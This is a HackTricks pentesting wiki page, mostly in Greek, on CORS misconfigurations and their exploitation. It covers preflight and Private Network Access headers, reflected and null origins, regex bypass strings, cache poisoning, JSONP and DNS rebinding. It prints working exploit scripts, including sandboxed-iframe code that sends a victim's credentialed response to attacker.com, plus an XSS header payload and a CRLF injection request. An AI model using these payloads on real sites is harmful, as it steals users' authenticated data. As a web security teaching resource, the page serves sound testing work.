CORS - Misconfigurations & Bypass

Tip

Μάθε & εξασκήσου στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).

Υποστήριξε το HackTricks

Τι είναι το CORS;

Το standard Cross-Origin Resource Sharing (CORS) επιτρέπει στους servers να ορίζουν ποιος μπορεί να έχει πρόσβαση στα assets τους και ποιες HTTP request methods επιτρέπονται από εξωτερικές πηγές.

Μια same-origin policy απαιτεί ο server που ζητά ένα resource και ο server που φιλοξενεί το resource να μοιράζονται το ίδιο protocol (π.χ. http://), domain name (π.χ. internal-web.com) και port (π.χ. 80). Σύμφωνα με αυτήν την policy, μόνο web pages από το ίδιο domain και port επιτρέπεται να έχουν πρόσβαση στα resources.

Η εφαρμογή της same-origin policy στο πλαίσιο του http://normal-website.com/example/example.html φαίνεται ως εξής:

URL accessedAccess permitted?
http://normal-website.com/example/Yes: Identical scheme, domain, and port
http://normal-website.com/example2/Yes: Identical scheme, domain, and port
https://normal-website.com/example/No: Different scheme and port
http://en.normal-website.com/example/No: Different domain
http://www.normal-website.com/example/No: Different domain
http://normal-website.com:8080/example/No: Different port*

*Internet Explorer disregards the port number in enforcing the same-origin policy, thus allowing this access.

Access-Control-Allow-Origin Header

Αυτό το header μπορεί να επιτρέψει multiple origins, μια τιμή null, ή ένα wildcard *. Ωστόσο, κανένα browser δεν υποστηρίζει multiple origins, και η χρήση του wildcard * υπόκειται σε περιορισμούς. (Το wildcard πρέπει να χρησιμοποιείται μόνο του, και η χρήση του μαζί με Access-Control-Allow-Credentials: true δεν επιτρέπεται.)

Αυτό το header εκδίδεται από έναν server ως απάντηση σε ένα cross-domain resource request που ξεκινά από ένα website, με τον browser να προσθέτει αυτόματα ένα Origin header.

Access-Control-Allow-Credentials Header

By default, cross-origin requests are made without credentials like cookies or the Authorization header. Yet, a cross-domain server can allow the reading of the response when credentials are sent by setting the Access-Control-Allow-Credentials header to true.

If set to true, ο browser θα μεταδώσει credentials (cookies, authorization headers, ή TLS client certificates).

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight request

Κατανόηση των Pre-flight Requests στην Cross-Domain επικοινωνία

Όταν ξεκινάς ένα cross-domain request υπό συγκεκριμένες συνθήκες, όπως η χρήση μιας non-standard HTTP method (οτιδήποτε άλλο εκτός από HEAD, GET, POST), η εισαγωγή νέων headers, ή η χρήση μιας ειδικής τιμής Content-Type header, μπορεί να απαιτηθεί ένα pre-flight request. Αυτό το προκαταρκτικό request, που αξιοποιεί τη μέθοδο OPTIONS, ενημερώνει τον server για τις προθέσεις του επερχόμενου cross-origin request, συμπεριλαμβανομένων των HTTP methods και headers που σκοπεύει να χρησιμοποιήσει.

Το πρωτόκολλο Cross-Origin Resource Sharing (CORS) επιβάλλει αυτόν τον pre-flight έλεγχο για να καθορίσει αν είναι εφικτή η ζητούμενη cross-origin operation, επαληθεύοντας τις επιτρεπόμενες methods, headers και την αξιοπιστία του origin. Για μια αναλυτική κατανόηση του ποιες συνθήκες παρακάμπτουν την ανάγκη για pre-flight request, ανατρέξτε στον ολοκληρωμένο οδηγό που παρέχεται από το Mozilla Developer Network (MDN).

Είναι σημαντικό να σημειωθεί ότι η απουσία ενός pre-flight request δεν αναιρεί την απαίτηση η response να περιέχει authorization headers. Χωρίς αυτά τα headers, ο browser αδυνατεί να επεξεργαστεί την response από το cross-origin request.

Δείτε την ακόλουθη απεικόνιση ενός pre-flight request που στοχεύει στη χρήση της μεθόδου PUT μαζί με ένα custom header με το όνομα Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

Σε απάντηση, ο server μπορεί να επιστρέψει headers που υποδεικνύουν τις αποδεκτές methods, το επιτρεπόμενο origin και άλλες λεπτομέρειες της CORS policy, όπως φαίνεται παρακάτω:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Αυτή η κεφαλίδα καθορίζει ποια headers μπορούν να χρησιμοποιηθούν κατά το πραγματικό request. Ορίζεται από τον server για να δείξει τα επιτρεπόμενα headers σε requests από τον client.
  • Access-Control-Expose-Headers: Μέσω αυτής της κεφαλίδας, ο server ενημερώνει τον client για το ποια headers μπορούν να εκτεθούν ως μέρος του response πέρα από τα απλά response headers.
  • Access-Control-Max-Age: Αυτή η κεφαλίδα υποδεικνύει για πόσο χρόνο μπορούν να αποθηκευτούν στην cache τα αποτελέσματα ενός pre-flight request. Ο server ορίζει τον μέγιστο χρόνο, σε seconds, για τον οποίο οι πληροφορίες που επιστρέφονται από ένα pre-flight request μπορούν να επαναχρησιμοποιηθούν.
  • Access-Control-Request-Headers: Χρησιμοποιείται σε pre-flight requests, αυτή η κεφαλίδα ορίζεται από τον client για να ενημερώσει τον server σχετικά με ποια HTTP headers θέλει να χρησιμοποιήσει ο client στο πραγματικό request.
  • Access-Control-Request-Method: Αυτή η κεφαλίδα, επίσης χρησιμοποιούμενη σε pre-flight requests, ορίζεται από τον client για να υποδείξει ποιο HTTP method θα χρησιμοποιηθεί στο πραγματικό request.
  • Origin: Αυτή η κεφαλίδα ορίζεται αυτόματα από τον browser και υποδεικνύει το origin του cross-origin request. Χρησιμοποιείται από τον server για να αξιολογήσει αν το εισερχόμενο request πρέπει να επιτραπεί ή να απορριφθεί με βάση την CORS policy.

Σημείωσε ότι συνήθως (ανάλογα με το content-type και τα headers που έχουν οριστεί) σε ένα GET/POST request δεν αποστέλλεται pre-flight request (το request αποστέλλεται directly), αλλά αν θέλεις να αποκτήσεις πρόσβαση στα headers/body του response, πρέπει να περιέχει ένα Access-Control-Allow-Origin header που να το επιτρέπει.
Therefore, CORS doesn’t protect against CSRF (but it can be helpful).

Local Network Requests Pre-flight request

Οι σύγχρονοι browsers και το τρέχον προσχέδιο Private Network Access (PNA) χρησιμοποιούν τα headers Access-Control-Request-Private-Network: true στο preflight και Access-Control-Allow-Private-Network: true στο response. Παλαιότερα άρθρα και PoCs μπορεί ακόμη να αναφέρονται σε ονόματα headers Local-Network, αλλά για τρέχον testing θα πρέπει να περιμένεις τις παραλλαγές Private-Network.

Ένα έγκυρο response που επιτρέπει το local network request πρέπει επίσης να περιλαμβάνει Access-Control-Allow-Private-Network: true:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
Content-Length: 0
...

Και το preflight request θα μοιάζει παρόμοιο με:

OPTIONS / HTTP/1.1
Host: router.local
Origin: https://example.com
Access-Control-Request-Method: GET
Access-Control-Request-Private-Network: true

Note

Η διάθεση του Chrome PNA άλλαξε αρκετές φορές κατά τη διάρκεια του 2024. Από τις 9 Οκτωβρίου 2024, ο Chrome τεκμηρίωσε ότι τα PNA preflights είχαν τεθεί σε αναμονή λόγω προβλημάτων συμβατότητας, ενώ οι περιορισμοί secure-context παρέμειναν σε ισχύ. Επομένως, συνέχισε να δοκιμάζεις τόσο τη spec-compliant preflight flow όσο και τη παλαιότερη συμπεριφορά “works in practice because enforcement is incomplete”.

Warning

Σημείωσε ότι το linux 0.0.0.0 IP λειτουργεί για να παρακάμψει αυτές τις απαιτήσεις και να αποκτήσει πρόσβαση στο localhost, καθώς αυτή η IP address δεν θεωρείται “local”.

Ο Chrome επίσης τεκμηρίωσε ότι το 0.0.0.0/8 πλέον αντιμετωπίζεται ως μέρος του Private Network Access, οπότε αυτό το trick εξαρτάται από τον browser/version και πρέπει να επανελέγχεται αντί να θεωρείται δεδομένο.

Είναι επίσης δυνατό να παρακάμψεις τις Local Network requirements αν χρησιμοποιήσεις τη public IP address ενός local endpoint (όπως την public IP του router). Επειδή σε αρκετές περιπτώσεις, ακόμα κι αν γίνεται πρόσβαση μέσω της public IP, αν αυτό γίνεται από το local network, η πρόσβαση θα επιτραπεί.

Wildcards

Σημείωσε ότι ακόμα κι αν η παρακάτω configuration μπορεί να φαίνεται υπερβολικά permissive:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Αυτό δεν επιτρέπεται από τα browsers και επομένως τα credentials δεν θα σταλούν με το request έτσι.

Εκμεταλλεύσιμες λανθασμένες ρυθμίσεις

Έχει παρατηρηθεί ότι η ρύθμιση του Access-Control-Allow-Credentials σε true είναι προϋπόθεση για τις περισσότερες real attacks. Αυτή η ρύθμιση επιτρέπει στον browser να στείλει credentials και να διαβάσει την απάντηση, ενισχύοντας την αποτελεσματικότητα της επίθεσης. Χωρίς αυτό, το όφελος από το να κάνεις έναν browser να εκτελέσει ένα request αντί να το κάνεις εσύ ο ίδιος μειώνεται, καθώς η αξιοποίηση των cookies ενός χρήστη καθίσταται ανέφικτη.

Εξαίρεση: Εκμετάλλευση της Τοποθεσίας Δικτύου ως Authentication

Υπάρχει μια εξαίρεση όπου η δικτυακή τοποθεσία του θύματος λειτουργεί ως μορφή authentication. Αυτό επιτρέπει τη χρήση του browser του θύματος ως proxy, παρακάμπτοντας την IP-based authentication για πρόσβαση σε intranet applications. Αυτή η μέθοδος έχει ομοιότητες σε impact με το DNS rebinding αλλά είναι πιο απλή στην εκμετάλλευση.

Αντανάκλαση του Origin στο Access-Control-Allow-Origin

Το σενάριο του πραγματικού κόσμου όπου η τιμή του Origin header αντικατοπτρίζεται στο Access-Control-Allow-Origin είναι θεωρητικά απίθανο λόγω περιορισμών στον συνδυασμό αυτών των headers. Ωστόσο, developers που θέλουν να ενεργοποιήσουν το CORS για πολλαπλά URLs μπορεί να δημιουργούν δυναμικά το Access-Control-Allow-Origin header αντιγράφοντας την τιμή του Origin header. Αυτή η προσέγγιση μπορεί να εισαγάγει vulnerabilities, ιδιαίτερα όταν ένας attacker χρησιμοποιεί domain με όνομα σχεδιασμένο να φαίνεται νόμιμο, παραπλανώντας έτσι τη λογική validation.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Εκμετάλλευση του null Origin

Το null origin, που ορίζεται για περιπτώσεις όπως redirects ή τοπικά HTML αρχεία, έχει μια ιδιαίτερη θέση. Ορισμένες εφαρμογές το προσθέτουν στη whitelist για να διευκολύνουν την τοπική ανάπτυξη, επιτρέποντας ακούσια σε οποιοδήποτε website να μιμηθεί ένα null origin μέσω ενός sandboxed iframe, παρακάμπτοντας έτσι τους περιορισμούς CORS.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Τεχνικές Παράκαμψης Regular Expression

Όταν συναντάς ένα domain whitelist, είναι κρίσιμο να δοκιμάζεις για ευκαιρίες bypass, όπως την προσθήκη του domain του attacker σε ένα whitelisted domain ή την εκμετάλλευση subdomain takeover vulnerabilities. Επιπλέον, regular expressions που χρησιμοποιούνται για domain validation μπορεί να παραβλέπουν λεπτομέρειες στις συμβάσεις ονοματοδοσίας domain, δημιουργώντας επιπλέον ευκαιρίες bypass.

Προχωρημένες Παρακάμψεις Regular Expression

Τα Regex patterns συνήθως επικεντρώνονται σε alphanumeric, dot (.), και hyphen (-) χαρακτήρες, αγνοώντας άλλες δυνατότητες. Για παράδειγμα, ένα domain name σχεδιασμένο ώστε να περιλαμβάνει χαρακτήρες που ερμηνεύονται διαφορετικά από browsers και regex patterns μπορεί να παρακάμψει security checks. Ο χειρισμός των underscore χαρακτήρων στα subdomains από Safari, Chrome, και Firefox δείχνει πώς τέτοιες ασυμφωνίες μπορούν να εκμεταλλευτούν για να παρακαμφθεί η λογική domain validation.

Για περισσότερες πληροφορίες και ρυθμίσεις αυτού του bypass check: https://www.corben.io/advanced-cors-techniques/ and https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

Από XSS μέσα σε subdomain

Οι developers συχνά εφαρμόζουν αμυντικούς μηχανισμούς για να προστατευτούν από CORS exploitation, επιτρέποντας μόνο domains που είναι whitelisted να ζητούν πληροφορίες. Παρά αυτές τις προφυλάξεις, η ασφάλεια του συστήματος δεν είναι αλάνθαστη. Η ύπαρξη έστω και ενός ευάλωτου subdomain μέσα στα whitelisted domains μπορεί να ανοίξει την πόρτα σε CORS exploitation μέσω άλλων vulnerabilities, όπως το XSS (Cross-Site Scripting).

Για να το καταδείξουμε, ας εξετάσουμε το σενάριο όπου ένα domain, requester.com, είναι whitelisted για να έχει πρόσβαση σε resources από ένα άλλο domain, provider.com. Η server-side configuration μπορεί να μοιάζει κάπως έτσι:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

Σε αυτή τη ρύθμιση, όλα τα subdomains του requester.com επιτρέπεται να έχουν πρόσβαση. Ωστόσο, αν ένα subdomain, όπως το sub.requester.com, παραβιαστεί με ένα XSS vulnerability, ένας attacker μπορεί να εκμεταλλευτεί αυτήν την αδυναμία. Για παράδειγμα, ένας attacker με πρόσβαση στο sub.requester.com θα μπορούσε να εκμεταλλευτεί το XSS vulnerability για να παρακάμψει CORS policies και να αποκτήσει κακόβουλα πρόσβαση σε resources στο provider.com.

Special Characters

Το URL validation bypass cheat sheet του PortSwigger βρήκε ότι κάποιοι browsers υποστηρίζουν περίεργους χαρακτήρες μέσα στα domain names.

Το Chrome και το Firefox υποστηρίζουν underscores _ που μπορούν να παρακάμψουν regexes που υλοποιούνται για να validate το Origin header:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Το Safari είναι ακόμα πιο χαλαρό στην αποδοχή ειδικών χαρακτήρων στο domain name:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Πρόσφατες ενημερώσεις στο cheat sheet του PortSwigger πρόσθεσαν περισσότερα payloads Safari-oriented domain splitting που αξίζει να fuzzάρετε όταν ο στόχος επικυρώνει την Origin header χρησιμοποιώντας regexes ή home-grown URL parsers:

https://example.com.{.attacker.com/
https://example.com.}.attacker.com/
https://example.com.`.attacker.com/

Αυτά είναι χρήσιμα όταν το backend ελέγχει μόνο αν το δοθέν origin ξεκινά με ή περιέχει το trusted hostname, ενώ ο browser εξακολουθεί να αντιμετωπίζει το suffix υπό τον έλεγχο του attacker ως το πραγματικό όριο του origin.

Να θυμάσαι επίσης ότι το σύγχρονο origin fuzzing δεν πρέπει να σταματά στα hostname suffixes. Το τρέχον PortSwigger cheat sheet περιλαμβάνει families payload για:

  • Domain allow-list bypasses: domains υπό τον έλεγχο του attacker που εξακολουθούν να ικανοποιούν naive prefix/suffix/substring checks.
  • Fake-relative absolute URLs: browser-valid absolute URLs που το application code μπορεί να κάνει parse σαν relative.
  • Loopback/IP normalizations: εναλλακτικές IPv4/IPv6 μορφές χρήσιμες όταν η CORS logic προσπαθεί να μπλοκάρει localhost, 127.0.0.1, ή cloud metadata endpoints με string comparison.

Other funny URL tricks

URL Format Bypass

Server-side cache poisoning

From this research

Είναι πιθανό, εκμεταλλευόμενοι server-side cache poisoning μέσω HTTP header injection, να προκληθεί stored Cross-Site Scripting (XSS) vulnerability. Αυτό το σενάριο εκτυλίσσεται όταν μια application αποτυγχάνει να κάνει sanitize το Origin header για παράνομους χαρακτήρες, δημιουργώντας μια vulnerability ιδιαίτερα για χρήστες Internet Explorer και Edge. Αυτά τα browsers αντιμετωπίζουν το (0x0d) ως νόμιμο HTTP header terminator, οδηγώντας σε HTTP header injection vulnerabilities.

Σκέψου το ακόλουθο request όπου το Origin header χειραγωγείται:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer και Edge ερμηνεύουν την απάντηση ως:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Ενώ η άμεση εκμετάλλευση αυτής της ευπάθειας με το να κάνεις έναν web browser να στείλει ένα malformed header δεν είναι εφικτή, ένα crafted request μπορεί να δημιουργηθεί χειροκίνητα με εργαλεία όπως το Burp Suite. Αυτή η μέθοδος θα μπορούσε να οδηγήσει σε server-side cache που αποθηκεύει την απάντηση και την σερβίρει ακούσια και σε άλλους. Το crafted payload στοχεύει να αλλάξει το character set της σελίδας σε UTF-7, ένα character encoding που συχνά συνδέεται με XSS vulnerabilities λόγω της ικανότητάς του να κωδικοποιεί χαρακτήρες με τρόπο που μπορεί να εκτελεστεί ως script σε ορισμένα contexts.

Για περαιτέρω ανάγνωση σχετικά με stored XSS vulnerabilities, δες PortSwigger.

Σημείωση: Η εκμετάλλευση HTTP header injection vulnerabilities, ιδιαίτερα μέσω server-side cache poisoning, υπογραμμίζει την κρίσιμη σημασία της επικύρωσης και sanitization όλων των input που παρέχονται από τον χρήστη, συμπεριλαμβανομένων των HTTP headers. Πάντα να χρησιμοποιείς ένα ισχυρό security model που περιλαμβάνει input validation για την αποτροπή τέτοιων vulnerabilities.

Client-Side cache poisoning

Από αυτή την έρευνα

Σε αυτό το σενάριο, παρατηρείται μια instance μιας web page να αντικατοπτρίζει το περιεχόμενο ενός custom HTTP header χωρίς σωστό encoding. Συγκεκριμένα, η web page αντανακλά πίσω το περιεχόμενο που περιλαμβάνεται σε ένα X-User-id header, το οποίο θα μπορούσε να περιέχει malicious JavaScript, όπως φαίνεται στο παράδειγμα όπου το header περιέχει ένα SVG image tag σχεδιασμένο να εκτελεί JavaScript code κατά το load.

Οι πολιτικές Cross-Origin Resource Sharing (CORS) επιτρέπουν την αποστολή custom headers. Ωστόσο, χωρίς η response να αποδίδεται απευθείας από τον browser λόγω CORS restrictions, η χρησιμότητα μιας τέτοιας injection μπορεί να φαίνεται περιορισμένη. Το κρίσιμο σημείο προκύπτει όταν εξετάζεται η συμπεριφορά του browser cache. Αν το Vary: Origin header δεν έχει οριστεί, καθίσταται δυνατό το malicious response να αποθηκευτεί στο cache του browser. Στη συνέχεια, αυτή η cached response θα μπορούσε να αποδοθεί απευθείας όταν γίνεται πλοήγηση στο URL, παρακάμπτοντας την ανάγκη για direct rendering κατά το αρχικό request. Αυτός ο μηχανισμός ενισχύει την αξιοπιστία της attack αξιοποιώντας client-side caching.

Για να γίνει κατανοητή αυτή η attack, δίνεται ένα JavaScript example, σχεδιασμένο να εκτελείται στο environment μιας web page, όπως μέσω ενός JSFiddle. Αυτό το script εκτελεί μια απλή ενέργεια: στέλνει ένα request σε ένα καθορισμένο URL με ένα custom header που περιέχει το malicious JavaScript. Μετά την επιτυχή ολοκλήρωση του request, επιχειρεί να πλοηγηθεί στο target URL, ενεργοποιώντας δυνητικά την εκτέλεση του injected script αν η response έχει αποθηκευτεί στο cache χωρίς σωστό χειρισμό του Vary: Origin header.

Ακολουθεί μια συνοπτική ανάλυση του JavaScript που χρησιμοποιείται για την εκτέλεση αυτής της attack:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Παράκαμψη

XSSI (Cross-Site Script Inclusion) / JSONP

Το XSSI, επίσης γνωστό ως Cross-Site Script Inclusion, είναι ένας τύπος ευπάθειας που εκμεταλλεύεται το γεγονός ότι το Same Origin Policy (SOP) δεν εφαρμόζεται όταν συμπεριλαμβάνονται πόροι χρησιμοποιώντας το script tag. Αυτό συμβαίνει επειδή τα scripts πρέπει να μπορούν να συμπεριληφθούν από διαφορετικά domains. Αυτή η ευπάθεια επιτρέπει σε έναν attacker να έχει πρόσβαση και να διαβάζει οποιοδήποτε περιεχόμενο συμπεριλήφθηκε χρησιμοποιώντας το script tag.

Αυτή η ευπάθεια γίνεται ιδιαίτερα σημαντική όταν πρόκειται για dynamic JavaScript ή JSONP (JSON with Padding), ειδικά όταν χρησιμοποιούνται πληροφορίες ambient-authority όπως cookies για authentication. Όταν γίνεται request για έναν πόρο από διαφορετικό host, τα cookies συμπεριλαμβάνονται, καθιστώντας τα προσβάσιμα στον attacker.

Για να κατανοήσεις καλύτερα και να μετριάσεις αυτήν την ευπάθεια, μπορείς να χρησιμοποιήσεις το BurpSuite plugin που είναι διαθέσιμο στο https://github.com/kapytein/jsonp. Αυτό το plugin μπορεί να βοηθήσει στον εντοπισμό και την αντιμετώπιση πιθανών XSSI ευπαθειών στις web εφαρμογές σου.

Διάβασε περισσότερα για τους διαφορετικούς τύπους XSSI και πώς να τους εκμεταλλευτείς εδώ.

Προσπάθησε να προσθέσεις μια callback παράμετρο στο request. Ίσως η σελίδα ήταν προετοιμασμένη να στέλνει τα δεδομένα ως JSONP. Σε αυτή την περίπτωση η σελίδα θα επιστρέψει τα δεδομένα με Content-Type: application/javascript, κάτι που θα παρακάμψει την CORS policy.

Easy (useless?) bypass

Ένας τρόπος να παρακάμψεις τον περιορισμό Access-Control-Allow-Origin είναι ζητώντας από μια web εφαρμογή να κάνει ένα request εκ μέρους σου και να επιστρέψει την response. Ωστόσο, σε αυτό το σενάριο, τα credentials του τελικού victim δεν θα σταλούν, καθώς το request γίνεται σε διαφορετικό domain.

  1. CORS-escape: Αυτό το εργαλείο παρέχει ένα proxy που προωθεί το request σου μαζί με τα headers του, ενώ ταυτόχρονα spoofάρει το Origin header ώστε να ταιριάζει με το requested domain. Αυτό ουσιαστικά παρακάμπτει την CORS policy. Ορίστε ένα παράδειγμα χρήσης με XMLHttpRequest:
  2. simple-cors-escape: Αυτό το εργαλείο προσφέρει μια εναλλακτική προσέγγιση για proxying requests. Αντί να περνάει το request σου όπως είναι, ο server κάνει το δικό του request με τις καθορισμένες παραμέτρους.

Iframe + Popup Bypass

Μπορείς να παρακάμψεις CORS checks όπως το e.origin === window.origin με το να δημιουργήσεις ένα iframe και από αυτό να ανοίξεις ένα νέο window. Περισσότερες πληροφορίες στην παρακάτω σελίδα:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

Το DNS rebinding via TTL είναι μια τεχνική που χρησιμοποιείται για να παρακάμψει ορισμένα μέτρα ασφαλείας χειραγωγώντας DNS records. Δες πώς λειτουργεί:

  1. Ο attacker δημιουργεί μια web σελίδα και κάνει το victim να την επισκεφθεί.
  2. Στη συνέχεια ο attacker αλλάζει το DNS (IP) του δικού του domain ώστε να δείχνει στη web σελίδα του victim.
  3. Ο browser του victim αποθηκεύει προσωρινά την DNS response, η οποία μπορεί να έχει μια τιμή TTL (Time to Live) που υποδεικνύει για πόσο χρόνο το DNS record πρέπει να θεωρείται έγκυρο.
  4. Όταν λήξει το TTL, ο browser του victim κάνει ένα νέο DNS request, επιτρέποντας στον attacker να εκτελέσει JavaScript code στη σελίδα του victim.
  5. Διατηρώντας έλεγχο πάνω στο IP του victim, ο attacker μπορεί να συλλέγει πληροφορίες από το victim χωρίς να στέλνει cookies στον victim server.

Είναι σημαντικό να σημειωθεί ότι οι browsers έχουν caching mechanisms που μπορεί να αποτρέψουν την άμεση κατάχρηση αυτής της τεχνικής, ακόμη και με χαμηλές τιμές TTL.

Το DNS rebinding μπορεί να είναι χρήσιμο για την παράκαμψη explicit IP checks που εκτελούνται από το victim ή για σενάρια όπου ένας user ή bot παραμένει στην ίδια σελίδα για παρατεταμένο χρόνο, επιτρέποντας στην cache να λήξει.

Αν χρειάζεσαι έναν γρήγορο τρόπο να καταχραστείς DNS rebinding, μπορείς να χρησιμοποιήσεις υπηρεσίες όπως https://lock.cmpxchg8b.com/rebinder.html.

Για να τρέξεις τον δικό σου DNS rebinding server, μπορείς να χρησιμοποιήσεις εργαλεία όπως DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Αυτό περιλαμβάνει την έκθεση της τοπικής θύρας σου 53/udp, τη δημιουργία ενός A record που δείχνει σε αυτήν (π.χ. ns.example.com) και τη δημιουργία ενός NS record που δείχνει στο προηγουμένως δημιουργημένο A subdomain (π.χ. ns.example.com). Κάθε subdomain του subdomain ns.example.com θα επιλύεται τότε από τον host σου.

Μπορείς επίσης να εξερευνήσεις έναν δημόσια ενεργό server στο http://rebind.it/singularity.html για περαιτέρω κατανόηση και πειραματισμό.

DNS Rebinding via DNS Cache Flooding

Το DNS rebinding via DNS cache flooding είναι μια ακόμη τεχνική που χρησιμοποιείται για να παρακάμψει το caching mechanism των browsers και να αναγκάσει ένα δεύτερο DNS request. Δες πώς λειτουργεί:

  1. Αρχικά, όταν το victim κάνει ένα DNS request, αυτό απαντάται με τη διεύθυνση IP του attacker.
  2. Για να παρακάμψει την άμυνα του caching, ο attacker αξιοποιεί ένα service worker. Το service worker πλημμυρίζει το DNS cache, το οποίο ουσιαστικά διαγράφει το cached attacker server name.
  3. Όταν ο browser του victim κάνει ένα δεύτερο DNS request, αυτό απαντάται τώρα με τη διεύθυνση IP 127.0.0.1, η οποία συνήθως αναφέρεται στο localhost.

Πλημμυρίζοντας το DNS cache με το service worker, ο attacker μπορεί να χειραγωγήσει τη διαδικασία DNS resolution και να αναγκάσει τον browser του victim να κάνει ένα δεύτερο request, αυτή τη φορά επιλύοντας στη διεύθυνση IP που επιθυμεί ο attacker.

DNS Rebinding via Cache

Ένας άλλος τρόπος να παρακάμψεις την άμυνα του caching είναι να αξιοποιήσεις πολλαπλές IP addresses για το ίδιο subdomain στον DNS provider. Δες πώς λειτουργεί:

  1. Ο attacker στήνει δύο A records (ή ένα μόνο A record με δύο IPs) για το ίδιο subdomain στον DNS provider.
  2. Όταν ένας browser ελέγχει αυτά τα records, λαμβάνει και τις δύο IP addresses.
  3. Αν ο browser αποφασίσει να χρησιμοποιήσει πρώτα τη διεύθυνση IP του attacker, ο attacker μπορεί να εξυπηρετήσει ένα payload που εκτελεί HTTP requests προς το ίδιο domain.
  4. Ωστόσο, μόλις ο attacker αποκτήσει τη διεύθυνση IP του victim, σταματά να απαντά στον browser του victim.
  5. Ο browser του victim, μόλις αντιληφθεί ότι το domain δεν ανταποκρίνεται, προχωρά στη χρήση της δεύτερης δοσμένης IP address.
  6. Με την πρόσβαση στη δεύτερη IP address, ο browser παρακάμπτει το Same Origin Policy (SOP), επιτρέποντας στον attacker να το καταχραστεί και να συλλέξει και να exfiltrate πληροφορίες.

Αυτή η τεχνική αξιοποιεί τη συμπεριφορά των browsers όταν δίνονται πολλαπλές IP addresses για ένα domain. Ελέγχοντας στρατηγικά τις responses και χειραγωγώντας την επιλογή IP address του browser, ένας attacker μπορεί να εκμεταλλευτεί το SOP και να έχει πρόσβαση σε πληροφορίες από το victim.

Warning

Σημείωσε ότι για να έχεις πρόσβαση στο localhost θα πρέπει να δοκιμάσεις να rebinding το 127.0.0.1 στα Windows και το 0.0.0.0 στο linux.
Providers όπως godaddy ή cloudflare δεν μου επέτρεψαν να χρησιμοποιήσω το ip 0.0.0.0, αλλά το AWS route53 μου επέτρεψε να δημιουργήσω ένα A record με 2 IPs, εκ των οποίων το ένα ήταν το “0.0.0.0”

Για περισσότερες πληροφορίες μπορείς να δεις το https://unit42.paloaltonetworks.com/dns-rebinding/

Other Common Bypasses

  • Αν internal IPs aren’t allowed, μπορεί να έχουν ξεχάσει να απαγορεύσουν το 0.0.0.0 (λειτουργεί σε Linux και Mac)
  • Αν internal IPs aren’t allowed, απάντησε με ένα CNAME προς localhost (λειτουργεί σε Linux και Ma
  • Αν internal IPs aren’t allowed ως DNS responses, μπορείς να απαντήσεις με CNAMEs προς internal services όπως www.corporate.internal.

DNS Rebidding Weaponized

Μπορείς να βρεις περισσότερες πληροφορίες για τις προηγούμενες τεχνικές παράκαμψης και πώς να χρησιμοποιήσεις το ακόλουθο εργαλείο στη διάλεξη Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Το Singularity of Origin είναι ένα εργαλείο για να εκτελείς επιθέσεις DNS rebinding. Περιλαμβάνει τα απαραίτητα components για να rebinding η IP address του attack server DNS name στη IP address της target machine και για να σερβίρει attack payloads ώστε να εκμεταλλευτεί vulnerable software στο target machine.

DNS Rebinding over DNS-over-HTTPS (DoH)

